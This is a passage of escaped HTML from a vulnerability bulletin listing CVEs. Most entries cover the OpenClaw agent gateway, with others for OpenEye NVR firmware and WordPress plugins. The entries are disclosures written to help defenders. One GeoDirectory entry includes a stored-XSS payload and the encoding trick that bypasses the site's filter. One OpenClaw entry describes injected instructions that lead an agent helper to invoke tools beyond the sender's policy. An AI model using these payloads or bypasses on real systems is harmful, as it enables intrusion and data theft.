&lt;td&gt;OpenClaw (npm package openclaw) versions &amp;gt;= 2026.5.2 and &amp;lt; 2026.8.1 contain an incorrect authorization vulnerability in WhatsApp group handling. A group sender who is admitted for ordinary messages but denied by commands.allowFrom or owner command authorization can issue the /new &amp;lt;model&amp;gt; command to reset the shared group session and persist a provider and model override. This allows a command-denied group member to select a provider and model already permitted by the operator for subsequent turns in the shared group session, potentially changing provider routing, cost, data flow, or availability. It does not allow adding a new provider or host command execution. The issue is fixed in version 2026.8.1.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100556&quot; target=&quot;_blank&quot;&gt;CVE-2026-100556&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OpenClaw--OpenClaw&lt;/td&gt;
&lt;td&gt;OpenClaw versions before 2026.8.1 fail to validate video asset URLs returned by providers, allowing server-side requests to private destinations. A malicious or compromised provider can return private or loopback URLs to cause the CLI to make requests to internal services accessible from the OpenClaw host.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100577&quot; target=&quot;_blank&quot;&gt;CVE-2026-100577&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OpenClaw--OpenClaw&lt;/td&gt;
&lt;td&gt;OpenClaw is an npm-distributed agent runtime. In versions &amp;gt;= 2026.2.26 and &amp;lt; 2026.7.1, PowerShell command analysis on Windows hosts running in exec allowlist mode could approve an exact executable resolved from PATH but subsequently execute a same-named executable located in the workspace directory. If lower-trust content can place an executable with an approved basename into an agent-writable workspace and steer an approved PowerShell command that uses a bare executable name, OpenClaw may run the workspace file instead of the allowlisted path, executing arbitrary code with the privileges of the Gateway or node-host user. The issue does not require replacement of the approved executable itself. Version 2026.7.1 contains a fix; as a workaround, avoid bare executable names in approved PowerShell commands and keep executable files out of agent-writable workspaces.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;6.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100584&quot; target=&quot;_blank&quot;&gt;CVE-2026-100584&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OpenClaw--OpenClaw&lt;/td&gt;
&lt;td&gt;OpenClaw is an npm-distributed agent gateway. In versions before 2026.7.1, the global Active Memory toggle mutations could omit owner checks. An authorized non-owner external-channel sender could therefore persistently enable or disable Active Memory for the Gateway, disabling memory recall for future sessions or re-enabling global recall where the owner expected it to remain disabled. The issue is limited to persistent global on/off mutations; session-level controls and read-only status remain governed by existing command policy. The issue is fixed in version 2026.7.1. (Suggested title: &quot;OpenClaw before 2026.7.1 missing owner authorization check on Active Memory global toggles&quot;.)&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100591&quot; target=&quot;_blank&quot;&gt;CVE-2026-100591&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OpenClaw--OpenClaw&lt;/td&gt;
&lt;td&gt;OpenClaw is an agent gateway distributed via npm. In versions &amp;gt;= 2026.4.10 and &amp;lt; 2026.7.1, persistent memory dreaming mutations omit owner permission checks. An authorized but non-owner external-channel sender can issue the persistent &#039;/dreaming on&#039; and &#039;/dreaming off&#039; commands to enable or disable the Gateway&#039;s Memory Core dreaming behavior, disabling background memory processing or re-enabling durable memory promotion where the owner expected it to remain disabled; the practical confidentiality, integrity, and availability impact depends on stored conversation material and subsequent memory use. Read-only status and help commands remain governed by normal command policy. The issue is fixed in version 2026.7.1. As a workaround, disable dreaming commands in external channels or restrict channel command access to owners.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100592&quot; target=&quot;_blank&quot;&gt;CVE-2026-100592&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OpenClaw--OpenClaw&lt;/td&gt;
&lt;td&gt;OpenClaw versions before 2026.7.1 contain an authorization bypass vulnerability in the /export-trajectory endpoint that allows non-owner senders to request and receive owner-only trajectory bundles. Attackers can access prompts, model messages, tool schemas, runtime events, and local path metadata from affected sessions by exploiting insufficient authorization checks.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100594&quot; target=&quot;_blank&quot;&gt;CVE-2026-100594&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OpenClaw--OpenClaw&lt;/td&gt;
&lt;td&gt;OpenClaw versions before 2026.7.1 contain an authorization bypass vulnerability in the diagnostics export command that allows non-owner channel senders to access owner-only host diagnostic bundles. Attackers can request and receive diagnostic details about the host, configuration, runtime, and connected services intended only for owners.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100595&quot; target=&quot;_blank&quot;&gt;CVE-2026-100595&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OpenClaw--OpenClaw&lt;/td&gt;
&lt;td&gt;OpenClaw before 2026.8.2 contains a denial of service vulnerability in the Browser extension relay that allows unauthenticated network sources to exhaust pending-authentication capacity. Attackers can hold every pending slot by maintaining silent WebSocket upgrades, preventing paired extensions from completing Browser Relay Authentication v2.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100527&quot; target=&quot;_blank&quot;&gt;CVE-2026-100527&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OpenClaw--OpenClaw&lt;/td&gt;
&lt;td&gt;OpenClaw (npm package &#039;openclaw&#039;) before 2026.8.1 could send third-party provider credentials to the wrong endpoint. In affected versions, when a third-party provider uses an OpenAI-compatible API and the resolved model metadata lacks a concrete base URL, a pinned session that continues after a model configuration hot reload retains that provider&#039;s credential while the OpenAI SDK selects its own default endpoint. A resulting request could disclose the configured third-party provider credential to an unrelated provider endpoint and fail with a misleading authentication error. Operators who observed this condition should rotate the affected credential. The issue is fixed in 2026.8.1.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100528&quot; target=&quot;_blank&quot;&gt;CVE-2026-100528&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OpenClaw--OpenClaw&lt;/td&gt;
&lt;td&gt;OpenClaw versions before 2026.8.1 contain a path traversal vulnerability in the tools.fs.workspaceOnly feature where Unicode filename fallback can normalize validated parent directory components. Admitted requesters can exploit canonically equivalent sibling directories to read files outside the configured workspace boundary.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100533&quot; target=&quot;_blank&quot;&gt;CVE-2026-100533&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OpenClaw--OpenClaw&lt;/td&gt;
&lt;td&gt;OpenClaw (npm package `openclaw`) before 2026.8.1 incorrectly enforces sender tool policies during session-memory filename generation. In affected versions, filename generation created an embedded helper that retained tools which the originating sender&#039;s policy had removed. When session-memory filename generation was enabled for an agent reachable by lower-trust senders, model-mediated instructions could cause the helper to invoke tools outside that sender&#039;s effective policy; the demonstrated impact was the creation of persistent scheduled work. Exploitability depends on the model acting on the injected instruction and on which tools the helper exposes. The issue is fixed in 2026.8.1; as a workaround, disable session-memory filename generation for agents reachable by lower-trust senders.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100545&quot; target=&quot;_blank&quot;&gt;CVE-2026-100545&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OpenClaw--OpenClaw&lt;/td&gt;
&lt;td&gt;OpenClaw is a coding agent distributed as the npm package `openclaw`. In affected versions (2026.7.1 through 2026.7.2), alternate but valid `file:` URL spellings supplied over the Agent Client Protocol (ACP) were treated as relative paths and were incorrectly classified as reads scoped to the session working directory. When an operator connected `openclaw acp client` to an untrusted or compromised ACP peer, that peer could request a read of a file outside the session working directory without the approval prompt normally required for that path, resulting in disclosure of local file contents. The demonstrated impact is limited to file confidentiality; mutating and command-capable tool classes are not affected. This issue is fixed in OpenClaw 2026.8.1.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100547&quot; target=&quot;_blank&quot;&gt;CVE-2026-100547&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OpenClaw--OpenClaw&lt;/td&gt;
&lt;td&gt;OpenClaw (npm package &#039;openclaw&#039;) versions &amp;gt;= 2026.3.28 and &amp;lt; 2026.8.1 contain a credential exposure issue in memory embedding failover. When remote embedding fallback is configured and the primary embedding provider fails, the request can be sent to a different fallback provider while still reusing the primary provider&#039;s configured API key, causing that credential to be transmitted as a bearer token to an unintended vendor. The practical impact depends on the configured providers, whether failover occurs, and the privileges attached to the primary provider key. The issue is fixed in 2026.8.1; as a workaround, disable cross-provider embedding fallback or configure each provider with separate, narrowly scoped credentials.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100548&quot; target=&quot;_blank&quot;&gt;CVE-2026-100548&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OpenClaw--OpenClaw&lt;/td&gt;
&lt;td&gt;OpenClaw versions before 2026.8.1 contain a path traversal vulnerability in QQBot voice attachment handling where filenames are decoded twice, allowing encoded traversal segments to reappear after sanitization. Attackers can supply crafted voice attachments that write files outside the intended staging directory to other process-writable locations.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100549&quot; target=&quot;_blank&quot;&gt;CVE-2026-100549&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OpenClaw--OpenClaw&lt;/td&gt;
&lt;td&gt;OpenClaw (npm package &#039;openclaw&#039;) before 2026.8.1 contains an access-control bypass in the Microsoft Teams integration. When groupPolicy is set to allowlist, a missing or unsupported configured access group produces a denied group-resolution result that is not rejected by the final message-admission check, so a Teams member who is not on the allowlist can still trigger the configured agent despite the administrator&#039;s group boundary. The impact depends on the conversations, tools, and data available to that agent. The issue is fixed in version 2026.8.1.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100550&quot; target=&quot;_blank&quot;&gt;CVE-2026-100550&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OpenClaw--OpenClaw&lt;/td&gt;
&lt;td&gt;OpenClaw versions before 2026.8.1 contain an authorization bypass vulnerability in the sessions.create endpoint that allows operator.write callers to modify session configurations reserved for operator.admin scope. Attackers with write-scoped credentials can change existing session model, provider, thinking level, and auth-profile settings to redirect traffic and bypass administrative access controls.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100562&quot; target=&quot;_blank&quot;&gt;CVE-2026-100562&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OpenClaw--OpenClaw&lt;/td&gt;
&lt;td&gt;OpenClaw (npm package `openclaw`) before 2026.8.1 does not neutralize leading characters that spreadsheet applications interpret as formulas when the Control UI exports session data to CSV. Although session labels were quoted as CSV text, a lower-trust participant who can influence a session label or the first user message can place a formula-like cell in the Usage export; if an operator opens that export in a spreadsheet application with formula evaluation enabled, the cell may be evaluated with the permissions of the spreadsheet user. OpenClaw itself does not evaluate the formula, and practical impact depends on the spreadsheet application&#039;s security settings. The issue is fixed in 2026.8.1.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100563&quot; target=&quot;_blank&quot;&gt;CVE-2026-100563&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OpenClaw--OpenClaw&lt;/td&gt;
&lt;td&gt;OpenClaw versions before 2026.8.1 fail to neutralize spreadsheet formula characters in participant display names within attendance CSV exports. Attackers can inject formula-like cells that execute with spreadsheet user permissions when the export is opened in formula-enabled applications.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100564&quot; target=&quot;_blank&quot;&gt;CVE-2026-100564&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OpenClaw--OpenClaw&lt;/td&gt;
&lt;td&gt;OpenClaw is an npm-distributed application. In versions &amp;gt;= 2026.4.25 and &amp;lt; 2026.8.1, the workspace environment-variable filter did not block variables ending in `_ENDPOINT`, so an untrusted workspace `.env` file could set AZURE_SPEECH_ENDPOINT. Azure Speech preferred that value over the configured region, so when a synthesis or voice-list request was made, the attacker-selected endpoint received the operator&#039;s Azure Speech key in the request header, allowing the key to be reused against the operator&#039;s Azure Speech resource. Exploitation requires an operator to start OpenClaw in attacker-controlled workspace content with Azure Speech configured with a key and region and no trusted endpoint override set. The issue is fixed in 2026.8.1.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100569&quot; target=&quot;_blank&quot;&gt;CVE-2026-100569&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OpenClaw--OpenClaw&lt;/td&gt;
&lt;td&gt;OpenClaw (npm package &#039;openclaw&#039;) versions &amp;gt;= 2026.6.6 and &amp;lt; 2026.8.1 apply the SMS webhook invalid-request rate limit before Twilio signature verification and identify clients only by the raw proxy socket address. In deployments where the SMS/Twilio webhook sits behind a trusted reverse proxy or tunnel so that multiple external clients share one socket address, an unauthenticated remote sender can exhaust the shared pre-authentication rate-limit budget with invalid requests, causing subsequent correctly signed Twilio callbacks to receive HTTP 429 responses. The result is temporary inbound SMS loss while the shared window remains exhausted; the attacker cannot forge a callback or access message data. Fixed in 2026.8.1.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100571&quot; target=&quot;_blank&quot;&gt;CVE-2026-100571&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OpenClaw--OpenClaw&lt;/td&gt;
&lt;td&gt;OpenClaw versions &amp;gt;= 2026.3.25 and &amp;lt; 2026.8.1 apply invalid-token rate limiting for Synology Chat webhooks before authentication and key the limit on the raw proxy socket address. In deployments where OpenClaw sits behind a trusted reverse proxy or tunnel and multiple external clients share a single socket address, an unauthenticated sender can exhaust the shared invalid-token budget, causing subsequent legitimate Synology Chat webhook callbacks to be rejected until the rate-limit window expires. The attacker cannot obtain a valid token or read message data; the impact is temporary loss of channel availability. Fixed in 2026.8.1.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100572&quot; target=&quot;_blank&quot;&gt;CVE-2026-100572&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OpenClaw--OpenClaw&lt;/td&gt;
&lt;td&gt;OpenClaw (npm package &#039;openclaw&#039;) before 2026.8.1 contains a server-side request forgery vulnerability in its trusted-host DNS checks. For fetches that use the trusted-host DNS recheck, a trusted hostname that resolves to an unspecified address (0.0.0.0 or ::) bypasses the SSRF destination validation. An attacker who can influence DNS for an allowed hostname can therefore cause a guarded fetch to reach a service bound only to loopback and disclose its response; the practical impact depends on the reachable service and the data it returns. Fixed in 2026.8.1.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;5.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100574&quot; target=&quot;_blank&quot;&gt;CVE-2026-100574&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OpenClaw--OpenClaw&lt;/td&gt;
&lt;td&gt;OpenClaw versions before 2026.8.1 contain a server-side request forgery vulnerability in browser wait predicates that allows attackers to bypass SSRF protections by reaching blocked destinations. Attackers can use the wait --fn function against an existing browser session to request loopback or private destinations without navigation checks applied to other browser actions.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100576&quot; target=&quot;_blank&quot;&gt;CVE-2026-100576&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OpenClaw--OpenClaw&lt;/td&gt;
&lt;td&gt;OpenClaw for iOS before 2026.8.11 stores Gateway credentials as cleartext JSON in App Group UserDefaults instead of the device Keychain. Attackers with access to unencrypted device backups or extracted App Group containers can recover valid Gateway tokens and passwords to authenticate with operator authority.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100581&quot; target=&quot;_blank&quot;&gt;CVE-2026-100581&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OpenClaw--OpenClaw&lt;/td&gt;
&lt;td&gt;OpenClaw (npm package `openclaw`) before 2026.7.1 does not enforce the documented owner-only requirement for persistent `/activation` policy changes in group channels. An authorized non-owner channel sender can change whether the agent requires mention-based activation, causing the agent to respond more broadly in the group (exposing its responses to additional group traffic) or suppressing expected activation behavior until an owner restores the intended setting. The issue is fixed in version 2026.7.1.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100593&quot; target=&quot;_blank&quot;&gt;CVE-2026-100593&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OpenClaw--OpenClaw&lt;/td&gt;
&lt;td&gt;OpenClaw versions &amp;gt;= 2026.6.9 and &amp;lt; 2026.8.1 do not declare the native chatId parameter as a delivery target in the Feishu unpin feature, so unpin requests can bypass the shared same-provider cross-context target check. When tools.message.crossContext.allowWithinProvider is disabled, an admitted (authenticated) sender can remove a pin from another Feishu group that the sender and the configured account are otherwise permitted to access, bypassing the intended cross-context message mutation policy. Feishu membership and group authorization still apply, and the demonstrated impact is limited to message mutation (pin removal). The issue is fixed in 2026.8.1.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100553&quot; target=&quot;_blank&quot;&gt;CVE-2026-100553&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OpenClaw--OpenClaw&lt;/td&gt;
&lt;td&gt;OpenClaw (npm package &#039;openclaw&#039;) versions &amp;gt;= 2026.5.12 and &amp;lt; 2026.8.1 do not immediately invalidate Canvas HTTP authorization when a paired node is revoked. Node revocation invalidates the WebSocket client, but Canvas HTTP authorization continues to accept and renew the previously granted capability until WebSocket close cleanup completes. As a result, a revoked paired node can continue exercising its Canvas capability against the capability&#039;s configured routes during the close grace period. The issue is fixed in 2026.8.1; as a workaround, restart the Gateway after revoking a node that has Canvas access.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;4.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100554&quot; target=&quot;_blank&quot;&gt;CVE-2026-100554&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OpenClaw--OpenClaw&lt;/td&gt;
&lt;td&gt;OpenClaw before 2026.7.1 contains an authorization bypass vulnerability in the /voice set command that allows non-owner external-channel senders to persist Gateway voice configuration. Attackers with command access can change the voice used by Talk responses for the configured provider, affecting configuration integrity without exposing credentials or granting additional host capabilities.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100590&quot; target=&quot;_blank&quot;&gt;CVE-2026-100590&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OpenClaw--OpenClaw iOS&lt;/td&gt;
&lt;td&gt;OpenClaw iOS before 2026.8.11 logs complete agent deep-link URLs including persistent bearer keys to unified logs as public diagnostic data. Attackers who obtain diagnostic archives can recover unrotated keys and replay them in forged deep links to submit agent requests without local confirmation prompts.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-95815&quot; target=&quot;_blank&quot;&gt;CVE-2026-95815&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;openclaw--slack&lt;/td&gt;
&lt;td&gt;The @openclaw/slack npm package before 2026.8.1 contains an authorization flaw in its Slack download-file handler: when a file lacks the share metadata used to prove it belongs to the requested conversation, the conversation-authorization check fails open. An authenticated caller restricted to a single conversation who knows or obtains a file identifier can therefore download file contents from outside that conversation&#039;s scope, disclosing data across configured conversation boundaries. The issue does not allow listing arbitrary Slack files and does not bypass Slack authentication itself. The issue is fixed in version 2026.8.1.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100531&quot; target=&quot;_blank&quot;&gt;CVE-2026-100531&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OpenEye--Apex Network Video Recorder (NVR)&lt;/td&gt;
&lt;td&gt;OpenEye Apex Network Video Recorder (NVR) firmware 3.2.9.376 contains a hardcoded, undocumented recovery account with a shared credential that cannot be changed, disabled, or rotated. An unauthenticated remote attacker can use the account to authenticate to the password-reset workflow. The account does not provide normal administrator access; additional vulnerabilities are required to obtain an administrator takeover. The underlying design has been present since at least firmware 2.2.3.4. Upgrade to version 3.5.4.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92928&quot; target=&quot;_blank&quot;&gt;CVE-2026-92928&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OpenEye--Apex Network Video Recorder (NVR)&lt;/td&gt;
&lt;td&gt;OpenEye Apex Network Video Recorder (NVR) firmware 3.2.9.376 uses an administrator password-reset unlock-code design that lacks a per-device secret or other server-side cryptographic material. An attacker with physical-console access and access to the privileged password-reset workflow can forge a valid unlock code offline and use it to reset the administrator password. The underlying design has been present since at least firmware 2.2.3.4. Upgrade to version 3.5.4.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;6.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92930&quot; target=&quot;_blank&quot;&gt;CVE-2026-92930&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OpenEye--Apex Network Video Recorder (NVR)&lt;/td&gt;
&lt;td&gt;OpenEye Apex Network Video Recorder (NVR) firmware 3.2.9.376 trusts an X-Forwarded-For header supplied by an arbitrary client when determining the request source address. An unauthenticated remote attacker can spoof a loopback address to bypass local-connection-only security controls exposed on the affected non-TLS web interfaces and disclose configuration information. The underlying design has been present since at least firmware 2.2.3.4. Upgrade to version 3.5.4.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92929&quot; target=&quot;_blank&quot;&gt;CVE-2026-92929&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Paid Membership Subscriptions--Paid Membership Subscriptions&lt;/td&gt;
&lt;td&gt;The Paid Membership Subscriptions WordPress plugin before 3.1.0 does not verify the reCAPTCHA on its registration handler when a form field is absent from the request, allowing unauthenticated users to create accounts without solving the reCAPTCHA the site has enabled.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90950&quot; target=&quot;_blank&quot;&gt;CVE-2026-90950&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;paoltaia--GeoDirectory WP Business Directory Plugin and Classified Listings Directory&lt;/td&gt;
&lt;td&gt;The GeoDirectory - WP Business Directory Plugin and Classified Listings Directory plugin for WordPress is vulnerable to Stored Cross-Site Scripting via Text-type Custom Field (e.g., &#039;phone&#039;) in all versions up to, and including, 2.8.181 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with subscriber-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The payload must be stored in a text-type custom field (such as a phone field) via the AJAX geodir_save_post endpoint, using entity-encoded angle brackets (e.g., &amp;amp;lt;img src=x onerror=alert(1)&amp;amp;gt;) to bypass the strpos()-gated tag-stripping check.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;6.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93897&quot; target=&quot;_blank&quot;&gt;CVE-2026-93897&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;paoltaia--GeoDirectory WP Business Directory Plugin and Classified Listings Directory&lt;/td&gt;
